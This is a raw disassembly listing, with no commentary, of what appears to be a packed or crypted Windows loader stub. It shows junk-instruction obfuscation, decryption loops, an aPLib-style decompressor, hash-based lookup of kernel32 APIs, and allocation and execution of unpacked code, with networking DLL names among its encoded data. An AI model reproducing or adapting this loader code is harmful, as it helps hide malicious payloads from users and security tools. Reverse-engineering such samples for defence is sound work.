		adc	eax, 0C961B868h
		xor	eax, 0CE8h
		add	[ebp+ecx*8-7Eh], ah
		xchg	eax, ebx
		ror	cl, 1
		into
		out	dx, eax
		cld
		test	ebx, edx
		or	ebp, [eax-5Ah]
		in	eax, dx
		loopne	near ptr loc_46B2D1+3
		pop	ecx
		pop	edx
		pop	ecx
		pop	esi
		movsx	edx, cx
		add	esi, 742h
		and	dl, 0ADh
		mov	eax, 1A8h
		adc	di, 57CFh


loc_46B2C5:				; CODE XREF: sub_46B1FE+11Aj
		mov	ebx, [esi]
		sub	ebx, 2A398917h
		mov	cx, 71C7h


loc_46B2D1:				; CODE XREF: sub_46B1FE+ABj
		add	ebx, 610E9104h
		mov	di, si
		add	ebx, 707B26EDh
		push	ebx
		mov	dh, ch
		pop	dword ptr [esi]
		push	edx
		or	cx, 0E49Ah
		pop	edi
		sub	esi, 2
		movzx	ecx, bx
		dec	esi
		dec	esi
		mov	cl, bh
		sub	eax, 1
		jnz	loc_46B315
		mov	di, cx
		jmp	loc_46B329
; END OF FUNCTION CHUNK	FOR sub_46B1FE
; ---------------------------------------------------------------------------
		dw 8497h
		dd 0F033A26Dh, 1C8FEE69h
		db 25h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_46B1FE


loc_46B315:				; CODE XREF: sub_46B1FE+FEj
		movzx	ecx, di
		jmp	loc_46B2C5
; END OF FUNCTION CHUNK	FOR sub_46B1FE
; ---------------------------------------------------------------------------
		mov	ah, 0DDh
		push	edx
		and	esp, [eax]
		fstp	dword ptr [esi-556AB381h]
		wait
; START	OF FUNCTION CHUNK FOR sub_46B1FE


loc_46B329:				; CODE XREF: sub_46B1FE+107j
		push	esi
		mov	al, dl
		pop	eax
		call	near ptr loc_46B332+6


loc_46B332:				; CODE XREF: sub_46B1FE+12Fp
		mov	byte ptr [edi+2352DDB4h], 0B6h
		push	ebx
		pop	edi
		jmp	loc_46B34D
; END OF FUNCTION CHUNK	FOR sub_46B1FE
; ---------------------------------------------------------------------------
		dd 0E4777611h, 5013024Dh, 7C6F4E49h
		db 5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_46B1FE


loc_46B34D:				; CODE XREF: sub_46B1FE+13Dj
		add	edi, 695h
		movzx	ebx, di
		mov	ecx, 175h
		mov	bx, 95FEh


loc_46B35F:				; CODE XREF: sub_46B1FE+1E3j
		push	dword ptr [edi]
		jz	loc_46B36C
		or	bx, 2D57h


loc_46B36C:				; CODE XREF: sub_46B1FE+163j
		pop	esi
		push	ecx
		and	ebx, 1233704Fh
		pop	eax
		xor	esi, 66D364BBh
		jb	loc_46B388
		push	eax
		mov	ebx, 5CC0E012h
		pop	ebx


loc_46B388:				; CODE XREF: sub_46B1FE+17Dj
		xor	esi, 14550DD8h
		push	2AC8EB5Eh
		call	near ptr loc_46B39F+3
		push	5Bh
		clc
		sal	dword ptr [esi], 1
		aaa
		movsb


loc_46B39F:				; CODE XREF: sub_46B1FE+195p
		or	eax, 3CBAD3C2h
		mov	al, 3
		push	esp
		pop	edx
		pop	eax
		sub	esi, 1F7EE531h
		mov	dx, bx
		mov	[edi], esi
		mov	dx, 70BEh
		sub	edi, 4
		adc	edx, 0D0830B1h
		sub	ecx, 1
		jnz	loc_46B3DF
		mov	dh, al
		jmp	loc_46B3F7
; END OF FUNCTION CHUNK	FOR sub_46B1FE
; ---------------------------------------------------------------------------
		db 6Eh,	0Fh, 9Ch
		dd 882B7AA5h, 34074621h
		db 5Dh,	0D2h, 0A3h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_46B1FE


loc_46B3DF:				; CODE XREF: sub_46B1FE+1C6j
		mov	ebx, eax
		jmp	loc_46B35F
; END OF FUNCTION CHUNK	FOR sub_46B1FE
; ---------------------------------------------------------------------------
		dw 2A15h
		dd 0F691B81Bh, 82CD64F7h, 0CEC9D093h
		db 0EFh, 0FCh, 85h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_46B1FE


loc_46B3F7:				; CODE XREF: sub_46B1FE+1CEj
		push	7D1D981Eh
		and	edi, 655E461Bh


loc_46B402:				; CODE XREF: sub_46B1FE+223j
		pop	edi
		call	near ptr loc_46B412+1
		mul	dword ptr [ebp+ecx*8-7Eh]
		xchg	eax, ebx
		ror	cl, 1
		into
		out	dx, eax
		cld


loc_46B412:				; CODE XREF: sub_46B1FE+205p
		test	ebp, ecx
		or	eax, 1000000h
		cmpsb
		out	94h, eax
		cmp	eax, 39008332h
		jle	short loc_46B402
		sub	al, 0F5h
		pop	ecx
		mov	ah, 0B0h
		add	ecx, 5BEh
		and	bh, 0A9h
		push	14Ah
		mov	ax, bx
		pop	esi
		mov	ebx, 6EA26906h


loc_46B43F:				; CODE XREF: sub_46B1FE+289j
		push	dword ptr [ecx]
		xor	ebx, 3B9D5CBFh
		pop	edx
		mov	ax, 3B51h
		xor	edx, 46D46221h
		mov	al, 55h
		add	edx, 24DA0646h
		mov	eax, 10214F45h
		sub	edx, 3EE23007h
		mov	[ecx], edx
		push	1F0721FDh
		mov	bx, cx
		pop	eax
		sub	ecx, 623713ECh
		add	ecx, 623713E8h
		mov	edi, 387ACCEEh
		sub	esi, 1
		jnz	loc_46B43F
		jmp	loc_46B4A2
; END OF FUNCTION CHUNK	FOR sub_46B1FE
; ---------------------------------------------------------------------------
		or	[ecx-224B783Ah], ah
		push	edx
		and	esp, [eax]
		fstp	dword ptr [esi-556AB381h]
		wait
; START	OF FUNCTION CHUNK FOR sub_46B1FE


loc_46B4A2:				; CODE XREF: sub_46B1FE+28Fj
		call	$+5
		pop	ebp
		pop	ebx
		mov	[ebp+5Bh], ebx
		pop	ebx
		mov	[ebp+5Fh], ebx
		pop	eax
		mov	[ebp+40Dh], eax
		pop	eax
		cmp	byte ptr [ebp+5Ah], 1
		jnz	short loc_46B517
		mov	[ebp+425h], eax
		pusha
		lea	eax, [ebp+33h]
		push	eax
		xor	eax, eax
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, ebx
		call	sub_46B7BC
		jmp	short loc_46B4F6
; END OF FUNCTION CHUNK	FOR sub_46B1FE
; ---------------------------------------------------------------------------
		mov	esp, [esp+8]
		pop	dword ptr fs:0
		add	esp, 4
		popa
		lea	eax, [ebp+63h]
		push	eax
		call	dword ptr [ebp+5Fh]
		call	loc_46B7D2
		jmp	short loc_46B4FF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_46B1FE


loc_46B4F6:				; CODE XREF: sub_46B1FE+2DAj
		pop	dword ptr fs:0
		add	esp, 24h


loc_46B4FF:				; CODE XREF: .data:0046B4F4j
		jmp	short loc_46B51C
; END OF FUNCTION CHUNK	FOR sub_46B1FE
; ---------------------------------------------------------------------------
		align 2
		dd offset dword_46B004+44h
aBAKernel32_dll	db '¡¶€|kernel32.dll',0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_46B1FE


loc_46B517:				; CODE XREF: sub_46B1FE+2BEj
		call	sub_46B7B8


loc_46B51C:				; CODE XREF: sub_46B1FE:loc_46B4FFj
		cld
		lea	esi, [ebp+8Ch]
		lodsd
		or	eax, eax
		jz	short loc_46B543
		mov	edi, eax
		mov	ecx, 0Ch
		rep movsb
		jmp	short loc_46B543
; END OF FUNCTION CHUNK	FOR sub_46B1FE
; ---------------------------------------------------------------------------
		align 4
		dd 28004010h, 19B2BB43h, 380A211h
		db 8Fh,	9Fh, 9Dh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_46B1FE


loc_46B543:				; CODE XREF: sub_46B1FE+328j
					; sub_46B1FE+333j
		mov	[ebp+429h], esp
		push	40h
		push	1000h
		push	dword ptr [ebp+408h]
		push	0
		call	dword ptr [ebp+3F0h]
		mov	[ebp+1CCh], eax
		mov	ebx, [ebp+400h]
		add	ebx, [ebp+40Dh]
		push	eax
		push	ebx
		call	sub_46B67B
		push	40h
		push	1000h
		push	dword ptr [ebp+408h]
		push	0
		call	dword ptr [ebp+3F0h]
		mov	[ebp+431h], eax
		mov	[ebp+1D0h], eax
		mov	eax, fs:0
		mov	[ebp+42Dh], eax
		mov	edx, [ebp+5Bh]
		mov	eax, [ebp+1D0h]
		mov	[edx], eax
		mov	eax, [ebp+408h]
		mov	[edx+4], eax
		lea	eax, [ebp+39Fh]
		mov	eax, [eax+55h]
		mov	[edx+8], eax
		mov	eax, [ebp+3ECh]
		mov	[edx+10h], eax
		mov	eax, [ebp+3E8h]
		mov	[edx+14h], eax
		mov	edx, [ebp+1CCh]
		mov	ebx, 1F8h


loc_46B5E0:				; CODE XREF: sub_46B1FE+406j
		mov	edi, [edx+ebx+0Ch]
		or	edi, edi
		jz	short loc_46B606
		mov	ecx, [edx+ebx+10h]
		or	ecx, ecx
		jz	short loc_46B601
		add	edi, [ebp+1D0h]
		mov	esi, [edx+ebx+14h]
		add	esi, edx
		sar	ecx, 2
		rep movsd


loc_46B601:				; CODE XREF: sub_46B1FE+3F0j
		add	ebx, 28h
		jmp	short loc_46B5E0
; ---------------------------------------------------------------------------


loc_46B606:				; CODE XREF: sub_46B1FE+3E8j
		mov	eax, [ebp+1CCh]
		push	eax
		mov	edx, [ebp+1D0h]
		push	edx
		mov	ebx, [eax]
		add	ebx, edx
		mov	eax, [ebp+3E4h]
		mov	[ebx], eax
		mov	eax, [ebp+3E8h]
		mov	[ebx+4], eax
		mov	eax, [ebp+3ECh]
		mov	[ebx+8], eax
		pop	edi
		pop	esi
		mov	eax, [esi+4]
		add	eax, edi
		mov	[ebp+1C7h], eax
		mov	edx, [ebp+5Bh]
		mov	eax, [ebp+1C7h]
		mov	[edx+0Ch], eax
		lea	ebx, [ebp+40Dh]
		push	ebx
		push	0
		push	0
		push	1
		push	edi
		mov	ebx, [esi+8]
		add	ebx, edi
		push	ebx
		push	8000h
		push	0
		push	esi
		call	dword ptr [ebp+3F4h]
		push	3BE000h
		retn
; END OF FUNCTION CHUNK	FOR sub_46B1FE
; ---------------------------------------------------------------------------
		align 4
		dd 3600h
		db 0, 39h, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_46B67B	proc near		; CODE XREF: sub_46B1FE+374p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		pusha
		push	ebp
		mov	esi, [ebp+arg_0]
		mov	edi, [ebp+arg_4]
		cld
		mov	dl, 80h


loc_46B689:				; CODE XREF: sub_46B67B:loc_46B698j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi


loc_46B68F:				; CODE XREF: sub_46B67B+72j
					; sub_46B67B+B7j ...
		add	dl, dl
		jnz	short loc_46B698
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_46B698:				; CODE XREF: sub_46B67B+16j
		jnb	short loc_46B689
		add	dl, dl
		jnz	short loc_46B6A3
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_46B6A3:				; CODE XREF: sub_46B67B+21j
		jnb	short loc_46B6EF
		xor	eax, eax
		add	dl, dl
		jnz	short loc_46B6B0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_46B6B0:				; CODE XREF: sub_46B67B+2Ej
		jnb	loc_46B78C
		add	dl, dl
		jnz	short loc_46B6BF
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_46B6BF:				; CODE XREF: sub_46B67B+3Dj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_46B6CA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_46B6CA:				; CODE XREF: sub_46B67B+48j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_46B6D5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_46B6D5:				; CODE XREF: sub_46B67B+53j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_46B6E0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_46B6E0:				; CODE XREF: sub_46B67B+5Ej
		adc	eax, eax
		jz	short loc_46B6EA
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_46B6EA:				; CODE XREF: sub_46B67B+67j
		mov	[edi], al
		inc	edi
		jmp	short loc_46B68F
; ---------------------------------------------------------------------------


loc_46B6EF:				; CODE XREF: sub_46B67B:loc_46B6A3j
		mov	eax, 1


loc_46B6F4:				; CODE XREF: sub_46B67B:loc_46B708j
		add	dl, dl
		jnz	short loc_46B6FD
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_46B6FD:				; CODE XREF: sub_46B67B+7Bj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_46B708
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_46B708:				; CODE XREF: sub_46B67B+86j
		jb	short loc_46B6F4
		sub	eax, 2
		jnz	short loc_46B737
		mov	ecx, 1


loc_46B714:				; CODE XREF: sub_46B67B:loc_46B728j
		add	dl, dl
		jnz	short loc_46B71D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_46B71D:				; CODE XREF: sub_46B67B+9Bj
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_46B728
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_46B728:				; CODE XREF: sub_46B67B+A6j
		jb	short loc_46B714
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_46B68F
; ---------------------------------------------------------------------------


loc_46B737:				; CODE XREF: sub_46B67B+92j
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_46B745:				; CODE XREF: sub_46B67B:loc_46B759j
		add	dl, dl
		jnz	short loc_46B74E
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_46B74E:				; CODE XREF: sub_46B67B+CCj
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_46B759
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_46B759:				; CODE XREF: sub_46B67B+D7j
		jb	short loc_46B745
		cmp	eax, 7D00h
		jnb	short loc_46B77C
		cmp	eax, 500h
		jb	short loc_46B777
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_46B68F
; ---------------------------------------------------------------------------


loc_46B777:				; CODE XREF: sub_46B67B+ECj
		cmp	eax, 7Fh
		ja	short loc_46B77F


loc_46B77C:				; CODE XREF: sub_46B67B+E5j
		add	ecx, 2


loc_46B77F:				; CODE XREF: sub_46B67B+FFj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_46B68F
; ---------------------------------------------------------------------------


loc_46B78C:				; CODE XREF: sub_46B67B:loc_46B6B0j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_46B7A8
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_46B68F
; ---------------------------------------------------------------------------


loc_46B7A8:				; CODE XREF: sub_46B67B+119j
		pop	ebp
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_4], edi
		popa
		pop	ebp
		retn	8
sub_46B67B	endp

; ---------------------------------------------------------------------------
		dd 7C80261Ch

; =============== S U B	R O U T	I N E =======================================



sub_46B7B8	proc near		; CODE XREF: sub_46B1FE:loc_46B517p

arg_20		= dword	ptr  24h

		mov	eax, [esp+arg_20]
sub_46B7B8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_46B7BC	proc near		; CODE XREF: sub_46B1FE+2D5p
		and	eax, 0FFFF0000h
		add	eax, 10000h


loc_46B7C6:				; CODE XREF: sub_46B7BC+14j
		sub	eax, 10000h
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_46B7C6


loc_46B7D2:				; CODE XREF: .data:0046B4EFp
		pusha
		mov	[ebp+3F8h], eax
		mov	edx, eax
		mov	ebx, eax
		add	eax, [eax+3Ch]
		add	ebx, [eax+78h]
		mov	[ebp+30Dh], ebx
		lea	ebx, [ebp+3CCh]
		lea	edi, [ebp+3E4h]


loc_46B7F5:				; CODE XREF: sub_46B7BC+4Dj
		mov	esi, [ebx]
		mov	[ebp+37Ch], esi
		call	sub_46B80D
		stosd
		add	ebx, 4
		cmp	dword ptr [ebx], 0
		jnz	short loc_46B7F5
		popa
		retn
sub_46B7BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_46B80D	proc near		; CODE XREF: sub_46B7BC+41p

var_4		= dword	ptr -4

		pusha
		mov	ebx, [ebp+30Dh]
		mov	ecx, [ebx+20h]
		add	ecx, edx


loc_46B819:				; CODE XREF: sub_46B80D+21j
		mov	esi, [ecx]
		add	esi, edx
		call	sub_46B851
		mov	edi, 49CD75CEh
		cmp	eax, edi
		jz	short loc_46B830
		add	ecx, 4
		jmp	short loc_46B819
; ---------------------------------------------------------------------------


loc_46B830:				; CODE XREF: sub_46B80D+1Cj
		sub	ecx, [ebx+20h]
		sub	ecx, edx
		shr	ecx, 1
		add	ecx, [ebx+24h]
		add	ecx, edx
		movzx	ecx, word ptr [ecx]
		shl	ecx, 2
		add	ecx, [ebx+1Ch]
		add	ecx, edx
		mov	ecx, [ecx]
		add	ecx, edx
		mov	[esp+20h+var_4], ecx
		popa
		retn
sub_46B80D	endp


; =============== S U B	R O U T	I N E =======================================



sub_46B851	proc near		; CODE XREF: sub_46B80D+10p
		push	edx
		mov	edx, 9C3B248Eh


loc_46B857:				; CODE XREF: sub_46B851+1Dj
		lodsb
		or	al, al
		jz	short loc_46B870
		xor	dl, al
		mov	al, 8


loc_46B860:				; CODE XREF: sub_46B851+1Bj
		shr	edx, 1
		jnb	short loc_46B86A
		xor	edx, 0C1A7F39Ah


loc_46B86A:				; CODE XREF: sub_46B851+11j
		dec	al
		jnz	short loc_46B860
		jmp	short loc_46B857
; ---------------------------------------------------------------------------


loc_46B870:				; CODE XREF: sub_46B851+9j
		xchg	eax, edx
		pop	edx
		retn
sub_46B851	endp

; ---------------------------------------------------------------------------
		db 0A7h
		dd 0F0B72551h, 57A7493Bh, 13901902h, 0CE74EE32h, 49CD75h
		dd 0A0000000h, 0A17C80ADh, 777C80B6h, 517C801Dh, 0E47C809Ah
		dd 7C809Ah, 7C8000h, 1C00017Ch,	0F20006BBh, 158h, 300h
		dd 2 dup(400000h), 3 dup(0)
		dd 22108h, 0
		dd 12FFA4h, 12FFE0h, 390000h, 1000h, 1F400h, 0F271h, 21000h
		dd 1C00h, 1508h, 23000h, 15C00h, 6DF5h,	37h dup(0)
		dd 2000h, 8, 6 dup(0)
		dd 7C80ADA0h, 7C80B6A1h, 7C801D77h, 2 dup(0)
		dd 6E72656Bh, 32336C65h, 6C6C642Eh, 47000000h, 72507465h
		dd 6441636Fh, 73657264h, 73h, 4D746547h, 6C75646Fh, 6E614865h
		dd 41656C64h, 4C000000h, 4C64616Fh, 61726269h, 417972h
		dd 3 dup(0)
		dd 6BA10h, 6B9FCh, 3 dup(0)
		dd 6BAB4h, 6BAD9h, 3 dup(0)
		dd 6BABFh, 6BAE1h, 3 dup(0)
		db 0CCh
		db 0BAh, 6, 0
; ---------------------------------------------------------------------------
		jmp	loc_46C15B
; ---------------------------------------------------------------------------
		align 4
		dd 4 dup(0)
		dd 5F327377h, 642E3233h, 6F006C6Ch, 7561656Ch, 2E323374h
		dd 6C6C64h, 6E72656Bh, 32336C65h, 6C6C642Eh, 0AB442800h
		dd 71h,	126AEA00h, 77h,	812A0900h, 7Ch,	56000000h, 61697261h
		dd 6843746Eh, 65676E61h, 65707954h, 7845h, 69615200h, 78456573h
		dd 74706563h, 6E6F69h, 0
		dd 2E838A4h, 8E06170h, 0C2018D88h, 1E7019Fh, 705E5708h
		dd 12578703h, 50BB3810h, 46FF009Ah, 4492513h, 2443BDE3h
		dd 6592260h, 2801142Bh,	70122051h, 1A0A012Ah, 47F45001h
		dd 0E2285790h, 480424A0h, 3044DE20h, 121E89B0h,	9150BD24h
		dd 570A22E0h, 0F0B22842h, 364CC8B9h, 481FBE9h, 20401038h
		dd 5300060Ch, 6E697274h, 75586735h, 50010019h, 338E0420h
		dd 18002C9Ch, 0AC0922A8h, 0A4B044h, 812B8488h, 20E01298h
		dd 4F54070Eh, 656A0062h, 0FF7463h, 7091A425h, 0C08B3242h
		dd 39A01000h, 8E981C9Ch, 23940047h, 0C88C9190h,	8401E488h
		dd 7C398072h, 2286781Ch, 44B82374h, 0E4B4C800h,	3968726Ch
		dd 601C2064h, 58235C00h, 50C85491h, 724C01E4h, 1C443948h
		dd 23B00040h, 3891013Ch, 30E434C8h, 0C439D472h,	0DEE1D3Ah
		dd 2A281C2Ch, 0EE023F8h, 0D8C8DC91h, 0D072D4E0h, 83015318h
		dd 0BBBCC409h, 6E80200Ah, 0C10123E8h, 4400F60Ch, 74DC2C24h
		dd 0F1E05h, 30065CB7h, 0FE38C38Bh, 47EB5B00h, 6534DA2Ch
		dd 8320720h, 3618391Ch,	100F7A14h, 80900C23h, 0BE5653C0h
		dd 0C774074Ch, 3E8312h,	44683A75h, 0CC066701h, 0DFE8036Ah
		dd 8BDBC0h, 75C985C8h, 0C0313305h, 0A1CA5E00h, 89438E48h
		dd 0D4A1C01h, 0D2803F08h, 0C003C28Bh, 441D8D0Fh, 1EC004C1h
		dd 6901889h, 3837D42h, 0EC7564FAh, 10883F9Eh, 59001633h
		dd 3B54B690h, 72D10440h, 0D8F23858h, 1F33E880h,	0ED859602h
		dd 8B493000h, 503A8916h, 56990E08h, 803F0C04h, 6233EF13h
		dd 42481458h, 0B003003Ch, 50191C01h, 0FD083DA2h, 9451F980h
		dd 9991150Eh, 43A33E00h, 9003C307h, 557F57h, 14F9F18Bh
		dd 5AE8D424h, 9760500Fh, 6A466004h, 0BEEB5Dh, 0B03BBF90h
		dd 3D0A043h, 0C795300h,	14751612h, 0E8130006h, 27D4DDA7h
		dd 0A7F6096h, 4460100h,	4C50EB6Eh, 3B4E0003h, 0D75C215h
		dd 180FD41Dh, 6FDF077Dh, 0C7005FEBh, 0E8C5E1D6h, 2B940977h
		dd 990FA084h, 5D5A6AA0h, 8901A45Fh, 12E0C58Dh, 0F8E40A74h
		dd 3A3900BFh, 0A13230FBh, 7201F03Bh, 0CE186C7Dh, 0E8DC4A03h
		dd 6E610055h, 5E77CDD8h, 7500248Fh, 36BCB41Bh, 0CFF01h
		dd 83AA2963h, 40829C7Bh, 65994400h, 0A9743EBh, 0ED7250D8h
		dd 74CE0077h, 5430DFF8h, 1D00FECFh, 0EBCD7329h,	9E2A26h
		dd 24478985h, 7C57F92Bh, 12965C03h, 0E0FBD0F0h,	30D476B9h
		dd 0EB28A76Ah, 0D000E0Ch, 3B1BA898h, 0FA65FB7Eh, 6259071Ch
		dd 23A39092h, 0F0A8DA8Bh, 0CE0AFE81h, 9C02104Eh, 808DBE09h
		dd 0FFC6FC12h, 14BB00E3h, 1008E636h, 73008903h,	68016A04h
		dd 242083h, 90C05618h, 89F880EFh, 0FF853B09h, 909803Ch
		dd 350B8D3h, 0C664482Ah, 80A94A13h, 38BC8E4h, 0F700E8FAh
		dd 7AF84FD5h, 7D1264ACh, 41D91F55h, 47FC80B4h, 6A614304h
		dd 505DB500h, 55520C68h, 75C50E53h, 0CA20791Fh,	1C259332h
		dd 3B839E0Ah, 0A500C729h, 9F6CA4DCh, 4CD200ECh,	0E4491312h
		dd 0E31283C7h, 1E07FF08h, 54117D66h, 0E8C51D90h, 0F88F09E8h
		dd 2A790FC5h, 4180ED10h, 2451EB4Fh, 9073F31Ch, 77EE1E40h
		dd 3BC64946h, 0BB000F03h, 0EDEFDF35h, 43036A74h, 0D568987h
		dd 767FC015h, 0A96B0FDEh, 73609575h, 0A06864Dh,	2C05C700h
		dd 261BDC8Dh, 0DF501C10h, 59FBC781h, 30EB3075h,	0ED7E0460h
		dd 0D47C8300h, 1928C070h, 43E93D0Fh, 22620800h,	0AD2B0C15h
		dd 321D9700h, 14AC50AFh, 0B974A6h, 4CF447B8h, 0EA1C7285h
		dd 0E5813Fh, 337BAF0h, 0C2971Ah, 20930F74h, 0B5F887E2h
		dd 4C1E8900h, 0D10D281Bh, 4DC5072Bh, 0B035F546h, 5EFE3CCFh
		dd 7E12C174h, 9201030Ch, 27C7690h, 3DFDDCCh, 0F1BAE8F8h
		dd 3C800DA6h, 58001E24h, 2B0F1044h, 535764h, 0C1755A85h
		dd 0C9EBA628h, 8A003390h, 0BC65BA0Fh, 0C860Ah, 740B6B92h
		dd 0B6612C32h, 0A221F300h, 86E6824Ch, 9E342650h, 590301D9h
		dd 0F8C9583Fh, 2B0032F7h, 8594410Fh, 0C33842h, 0B773241Ch
		dd 0EFE10ADDh, 8D00DE7Dh, 0E8835EFDh, 3404781h,	2E24249h
		dd 58C89412h, 0AD0038C0h, 0BDD04531h, 0F837C160h, 3FFF00C7h
		dd 83E78753h, 0F50031C0h, 3B33D45Dh, 7F0F60h, 7C4A2C58h
		dd 0E55D759h, 557E800h,	74772117h, 46FD0050h, 85764963h
		dd 0A2073E90h, 0DD0AC935h, 0AA6480DEh, 98E814C7h, 8F2F00A5h
		dd 19CCCB21h, 390BFBAh,	5CCDA7A0h, 7423A500h, 0E83A060Ch
		dd 59CC009Fh, 24376CDEh, 64137A10h, 2B0EB05Ch, 0A73F80FAh
		dd 2C026593h, 806207h, 75558249h, 57EE85F5h, 0FA34200h
		dd 0E0A4968Eh, 0DA95038Dh, 2A2BA90Bh, 56269CE8h, 270FE8F6h
		dd 0E31D35BDh, 3373306h, 0A5C99284h, 42C82686h,	8400B175h
		dd 0EF9D8B16h, 7258C4Dh, 0AAC226Dh, 4E08C0E9h, 0A0008AC9h
		dd 0E345947h, 7850F82h,	9FFF6A66h, 48EB704Bh, 81166B29h
		dd 0AB07F51Ch, 1DA04922h, 1EB4D855h, 40857AA6h,	38832146h
		dd 28006FA8h, 1A406911h, 109A94Fh, 10425214h, 0F44A078Ah
		dd 1600C7ABh, 26239280h, 98C5F98Bh, 199800FCh, 300DE31Ch
		dd 7B000336h, 0BE650F0h, 0DE1F3Bh, 0CFD25B73h, 0D32B7406h
		dd 0EB298B00h, 0B844CC05h, 4D4F0089h, 8F5CF1B9h, 0DB038520h
		dd 59B61FCAh, 64B490C3h, 0B1892E39h, 0B2A5032Dh, 0F6B80811h
		dd 0F2004914h, 40333C48h, 94EB03h, 8E07957Ah, 815C8D52h
		dd 9CEC2800h, 662668EAh, 4B7F19h, 3332FF64h, 30DA2289h
		dd 68288F00h, 3D800301h, 65700041h, 230A7E16h, 5D000713h
; ---------------------------------------------------------------------------


loc_46C120:				; CODE XREF: .data:0046C126j
		out	dx, eax		; DMA controller, 8237A-5.
					; channel 3 base address
					; (also	sets current address)
		popa
		mov	[edi-4Bh], ch


loc_46C125:				; CODE XREF: .data:loc_46C15Bj
		sahf
		jb	short loc_46C120
		mov	word ptr [eax],	es
		adc	al, 12h
		push	0CCCA0FF8h
		sbb	[edi], al
		mov	ds:3D832D88h, eax
		push	eax
		push	es
		sbb	al, [edi+ebp-7A104800h]
		popf
		adc	eax, 330E05h
		leave
		add	al, 82h
		hlt
; ---------------------------------------------------------------------------
		dd 173D2A40h, 0DAF01h, 2770B841h
		db 2Ch,	0BEh, 0
; ---------------------------------------------------------------------------


loc_46C15B:				; CODE XREF: .data:0046BA9Cj
		jnb	short loc_46C125
		bound	edi, [esp+eax*4-3Ah]
		add	eax, 14A0528h
		mov	al, ds:0F5005A0Eh
		mov	word ptr [edx],	cs
		adc	[eax+6Dh], ch
		pop	es
		xchg	eax, edi
		sub	[edi-3C7FF0AFh], eax
		jmp	near ptr 0FE4A7C70h
; ---------------------------------------------------------------------------
		db 14h,	0EBh, 0E5h
		dd 5DF82EA0h, 53001BC4h, 86C8E74Ch, 3CC840Fh, 21D2A4D5h
		dd 0C7971A4Ah, 0E068815Eh, 1291F0A1h, 0E74C29B0h, 0B24D0360h
		dd 0D825F477h, 423C3Ah,	0A63D51D5h, 0E4B52EB3h,	39FE601h
		dd 61B88993h, 117FDE4h,	153E3238h, 0E0535E57h, 0E9007505h
		dd 0DA77CA51h, 1F3B1A94h, 80290A52h, 5BDBC2E4h,	537CE080h
		dd 0A17C051Ch, 83390980h, 0B1528h, 480213DFh, 0E4F98108h
		dd 7F27AD0Eh, 176D0038h, 0B79C985h, 0C183031Ch,	240968Eh
		dd 0CD97D2D5h, 0EBF48100h, 51174A24h, 18460FDAh, 0F560F02Ch
		dd 0D6780CBFh, 0AE158203h, 752D709h, 938C9D66h,	4AB590EBh
		dd 0C100ED80h, 0EE030772h, 70FCF0Ch, 8112C216h,	7518F0FAh
		dd 10009EE8h, 31185B9h,	0A08E534Fh, 1CA40BEh, 97F0E983h
		dd 0C401761Ch, 7C0010FAh, 703C70Fh, 8B3034h, 2085D14Ch
		dd 28A0D80Ch, 0F37C0400h, 0C981428Ah, 808703C8h, 0B260889h
		dd 5FF1490h, 87B81C3Fh,	4EA83D0h, 0FCE2ABF0h, 7FE40186h
		dd 15011217h, 11EB6020h, 3CAC0B00h, 7C3A0C6Eh, 0CA96000Eh
		dd 2C2B5F02h, 13010D84h, 4A522A0Bh, 0A7701C0Ah,	4DB8C2h
		dd 4D08B1FEh, 0E1339048h, 9149200h, 31742506h, 47F2Ah
		dd 0A154B0DAh, 0AE802B64h, 1133C800h, 0B2FEC2F7h, 20AC1EE2h
		dd 1F643EBh, 8AB8FAC7h,	72E0A746h, 0C62B0800h, 58EB703Bh
		dd 8806001Eh, 2B64FE8h,	0DE00030Bh, 64455509h, 1FD8963Dh
		dd 7A00733h, 20670AA9h,	3E5A250Bh, 0B0F8BF00h, 2A824D8h
